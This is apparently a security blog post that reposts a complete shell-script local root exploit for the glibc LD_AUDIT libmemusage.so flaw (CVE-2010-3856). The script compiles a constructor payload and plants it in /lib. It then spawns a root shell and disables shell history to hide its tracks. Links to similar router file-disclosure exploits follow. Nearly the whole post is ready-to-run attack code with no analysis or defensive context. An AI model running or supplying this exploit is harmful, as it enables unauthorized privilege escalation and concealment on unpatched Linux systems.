Linux Glibc 2.11.3 / 2.12.x LD_AUDIT libmemusage.so Local Root exploit

Linux Glibc 2.11.3 / 2.12.x LD_AUDIT libmemusage.so Local Root exploit

Posted by ethical-hacker | Monday December 5th, 2016 | Vulnerabilities
#!/bin/sh
#
# [+] Glibc <= 2.12.x, 2.11.3, 2.12.2 LD_AUDIT libmemusage.so local root exploit
#
# Edited by Todor Donev (todor dot donev at gmail dot com)
# This is another exploit for CVE-2010-3856
#
# Thanks to Tavis 'taviso' Ormandy, zx2c4, Marco 'raptor' Ivaldi, Stiliyan Angelov
# and Tsvetelina Emirska
#
# Another exploits:
# http://www.0xdeadbeef.info/exploits/raptor_ldaudit
# http://www.0xdeadbeef.info/exploits/raptor_ldaudit2
# http://www.exploit-db.com/exploits/18105/
# http://seclists.org/fulldisclosure/2010/Oct/257
# http://seclists.org/bugtraq/2010/Oct/200
#
echo "[+] Setting umask to 0 so we have world writable files."
umask 0
echo "[+] Preparing binary payload.."
cat > /tmp/payload.c <<_EOF

void __attribute__((constructor)) init()
{
    unlink("/lib/sploit.so");
    setuid(0);
    setgid(0);
    setenv("HISTFILE", "/dev/null", 1);
    execl("/bin/sh", "/bin/sh", "-i", 0);
}

_EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
echo "[+] Writing root owned world readable file in /lib"
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/sploit.so" ping 2>/dev/null
echo "[+] Filling the lib file with lib contents."
cat /tmp/exploit > /lib/sploit.so
rm /tmp/payload.c /tmp/exploit
echo "[+] Executing payload.."
LD_AUDIT="sploit.so" ping

Add a comment

Related Blogs

ethical hacker
Posted by ethical-hacker | 05 December 2016
#!/bin/sh # # D-Link ADSL ROUTER DSL-2750E SEA_1.07 # Remote File Disclosure # # Modem Name: DSL-2750E # Firmware Version: SEA_1.07 # # Copyright 2016 (c) Todor Donev # &amp;lt;todor.donev...
ethical hacker
Posted by ethical-hacker | 05 December 2016
#!/bin/sh # # NETGEAR ADSL ROUTER JNR2010 1.0.0.20 # Authenticated Remote File Disclosure # # Hardware Version: JNR2010 # Firmware Version: 1.0.0.20 # # Copyright 2016 (c) Todor Donev #...
ethical hacker
Posted by ethical-hacker | 05 December 2016
#!/bin/sh # # NETGEAR ADSL ROUTER JNR1010 1.0.0.32 # Authenticated Remote File Disclosure # # Hardware Version: JNR1010 # Firmware Version: 1.0.0.32 # # Copyright 2016 (c) Todor Donev #...